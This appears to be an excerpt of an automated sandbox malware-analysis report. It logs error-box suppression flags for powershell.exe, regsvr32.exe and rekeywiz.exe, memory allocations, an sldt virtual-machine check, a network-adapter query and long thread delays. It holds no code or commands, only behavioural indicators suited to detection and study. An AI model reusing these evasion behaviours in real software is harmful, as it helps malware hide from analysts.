Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rekeywiz.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rekeywiz.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rekeywiz.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rekeywiz.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rekeywiz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rekeywiz.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rekeywiz.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rekeywiz.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rekeywiz.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rekeywiz.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rekeywiz.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rekeywiz.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rekeywiz.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rekeywiz.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rekeywiz.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rekeywiz.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rekeywiz.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rekeywiz.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rekeywiz.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rekeywiz.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rekeywiz.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rekeywiz.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rekeywiz.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rekeywiz.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rekeywiz.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rekeywiz.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rekeywiz.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\rekeywiz.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\rekeywiz.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\rekeywiz.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Windows\System32\regsvr32.exe	Memory allocated: 2C10000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Memory allocated: 1ADB0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Memory allocated: 2AF0000 memory reserve \| memory write watch
Source: C:\Windows\System32\regsvr32.exe	Memory allocated: 1B030000 memory reserve \| memory write watch

Source: C:\Windows\System32\regsvr32.exe

Code function: 3_2_1BDB827F sldt word ptr [ebx]

3_2_1BDB827F

Source: C:\Windows\System32\dllhost.exe

Code function: GetAdaptersInfo,

10_2_0000021AFD2E2AC4

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5686	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4068	Jump to behavior
Source: C:\Windows\System32\rekeywiz.exe	Window / User API: threadDelayed 760	Jump to behavior
Source: C:\Windows\System32\rekeywiz.exe	Window / User API: threadDelayed 3091	Jump to behavior
